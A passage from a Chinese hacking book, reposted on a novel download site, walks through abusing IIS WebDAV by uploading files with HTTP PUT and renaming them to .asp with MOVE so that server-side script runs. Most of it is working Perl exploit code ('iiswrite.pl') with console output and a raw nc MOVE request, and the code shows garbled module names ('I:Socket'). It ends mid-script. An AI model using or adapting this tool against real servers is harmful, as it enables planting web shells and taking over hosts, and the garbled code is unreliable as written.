全本小说网,上万本全本小说供您下载阅读。
最新网址:www.shukuge.info

分节阅读 25

作者:翟羽佳
更新时间:2017-10-19 22:00:00
Length: 10

      PUT:请求服务器将附件的实体储存在提供的请求URL处,如果该请求URL指向的资源已经存在,则附件实体应被看做是当前原始服务器上资源的修改版本。如果请求URL没有指向现存的资源,该URL将被该请求的用户代理定义成为一个新的资源,原始服务器将用该URL产生这个资源。

      Host:是HTTP请求的发送地址

      Content-Length:是内容长度,也就是实体长度,该长度值和上传的文件大小一致

      用nc(telnet)提交很烦琐,我们这里写个简单的perl程序,来完成这个复杂的提交过程,在写代码时我们用binmode()方式打开文件,代码如下:

    #!/usr/bin/perl

    use I:Socket;

    $ARGC = @ARGV;

    if ($ARGC != 4)

    {

      print "usage:$0 127.0.0.1 80 kaka.exe /Scripts/file.exe\n";

      exit;

    }

    $host = @ARGV[0];

    $port = @ARGV[1];

    $file = @ARGV[2];

    $path = @ARGV[3];

    @s=stat("$file");

    $size = $s[7]; #得到文件大小

    print "$file size is $size bytes\n";

    my $sock = I:Socket::INET->new(Proto =>"tcp",

    PeerAddr =>$host,

    PeerPort =>$port) || die "Sorry! Could not connect to $host \n";

    print $sock "PUT $path HTTP/1.1\n";

    print $sock "Host: $host\n";

    print $sock "Content-Length: $size\n\n"; #sock连接

    open(FILE,"$file");

    binmode(FILE); #用2进制打开文件

    while (read(FILE,$char,1024)) { #读取文件数据上传

      print $sock "$char";

    }

    print $sock "\n\n";

    @req = <$sock>;

    print "please wait...\n";

    sleep(2);

    if ($req[4]=~/200|201/){

      print "upfile Succeed!!!" ; #成功显示

    }

    else{

      print "upfile faile!!!\n\n";

      print @req;#如果失败显示返回错误

    }

    close $sock;

    close FILE;

      下面我们测试下:

    C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 kaka.txt /Scripts/kaka.txt

    kaka.txt size is 14 bytes

    please wait...

    upfile Succeed!!!

    C:\Inetpub\Scripts>dir kaka.txt

    驱动器 C 中的卷没有标签。

    卷的序列号是 3CD1-479E

    C:\Inetpub\Scripts 的目录

    2004-05-05 00:37 14 kaka.txt

    1 个文件 14 字节

    0 个目录 3,871,080,448 可用字节

      这里我们把kaka.txt成功上传到了web目录Scripts下,以为程序中用了binmode()方式(2进制)打开文件,应该可以上传其他文件,我们先测试下exe文件:

    C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 perl.exe /Scripts/perl.exe

    perl.exe size is 20535 bytes

    please wait...

    upfile Succeed!!!

    C:\Inetpub\Scripts>dir perl.exe

    驱动器 C 中的卷没有标签。

    卷的序列号是 3CD1-479E

    C:\Inetpub\Scripts 的目录

    2004-05-05 00:42 20,535 perl.exe

    1 个文件 20,535 字节

    0 个目录 3,871,031,296 可用字节

      成功,可以上传exe了,是不是可以上传任意文件呢?接着来测试asp文件:

    C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 kaka.asp /Scripts/kaka.asp

    kaka.asp size is 4 bytes

    please wait...

    upfile faile!!!

    HTTP/1.1 100 Continue

    Server: Microsoft-IIS/5.0

    Date: Tue, 04 May 2004 16:45:51 GMT

    HTTP/1.1 403 Forbidden

    Server: Microsoft-IIS/5.0

    Date: Tue, 04 May 2004 16:45:51 GMT

    Connection: close

    Content-Type: text/html

    Content-Length: 44

    

HTTP/1.1 403 Forbidden



      失败!!提示HTTP/1.1 403 Forbidden错误,看来直接用post方式写asp不行了,经过测试只要是iis支持的文件类型都会产生HTTP/1.1 403 Forbidden错误。

      那我们怎样才可以上传iis支持的文件类型文件呢?iis除了可以执行put,post,get等动作外,还可以执行COPY, MOVE等命令,呵呵!我们这可以先把本地asp上传到远程主机web目录下的txt等其他文件,在提过copy,move命令来改为asp。

      我们还是先用nc提交测试下:

    D:\>nc 127.0.0.1 80

    MOVE /scripts/kaka.txt HTTP/1.1

    Host:127.0.0.1

    Destination: http://127.0.0.1/scripts/kaka.asp

    HTTP/1.1 201 Created

    Server: Microsoft-IIS/5.0

    Date: Sun, 05 Oct 2003 09:30:59 GMT

    Location: http://127.0.0.1/scripts/x.asp

    Content-Type: text/xml

    Content-Length: 0

      成功利用MOVE把/scripts/kaka.txt改名/scripts/kaka.asp。这样我们就可以结合put和move来完成通过iis写容易文件了:)。我们还是用perl来完成。

      测试写asp成功:

    C:\usr\bin>perl kaka.pl 127.0.0.1 80 kaka.asp /scripts/kaka.asp

    ************************************************************

    codz by ≯SuperHei && lanker

    ************************************************************

    kaka.asp size is 4 bytes

    please wait...

    upfile Succeed!!!

    Modifyfile Succeed!!!

      最终的iiswrite.pl代码如下(由于写本文时,在网吧对于文章中代码是先又本人打“草稿”,又lanker测试并最终完成,THX lanker。):

    #!/usr/bin/perl

    #The iiswrite Script

    use I:Socket;

    $ARGC = @ARGV;

    print "*" x 60;

    print "\ncodz by ≯SuperHei && lanker\n";

    print "*" x 60,"\n";

    if ($ARGC != 4)

    {

      print "usage:$0 127.0.0.1 80 kaka.txt /scripts/my_file.txt\n";

      exit;

    }

    $host = @ARGV[0];

    $port = @ARGV[1];

    $path = @ARGV[3];

    $file = @ARGV[2];

    @path=split("/",$path);

    $any = pop(@path);

    $path1=join("/",@path);

    @s=stat("$file");

    $size = $s[7];

    print "$file size is $size bytes\n";

    my $sock = I:Socket::INET->new(Proto =>"tcp",

    PeerAddr =>$host,

    PeerPort =>$port) || die "Sorry! Could not connect to $host \n";

    print $sock "PUT $path1/lanker.txt HTTP/1.1\n";

    print $sock "Host: $host\n";

    print $sock "Content-Length: $size\n\n";

    open(FILE,"$file")|| die "Can't open $file";

    binmode(FILE);

    while (read(FILE,$char,1024)) {

      print $sock "$char";

    }

    print $sock "\n\n";

    @req = <$sock>;

    print "please wait...\n";

    sleep(2);

    if ($req[4]=~/200|201/){

      print "upfile Succeed!!!\n" ;

    }

    else{

      print "upfile faile!!!\n";

    }

    close $sock;

    close FILE;

    my $sock = I:Socket::INET->new(Proto =>"tcp",

    PeerAddr =>$host,

    PeerPort =>$port) || die "Sorry! Could not connect to $host \n";

    print $sock "MOVE $path1/lanker.txt HTTP/1.1\n";

    print $sock "Host: $host\n";

    print $sock "Destination:http://$host:$port$path\n\n\n\n";

    @req = <$sock>;

    if ($req[0]=~/20\d+|/){

      print "Modifyfile Succeed!!!" ;

    }

    else{

    

友情链接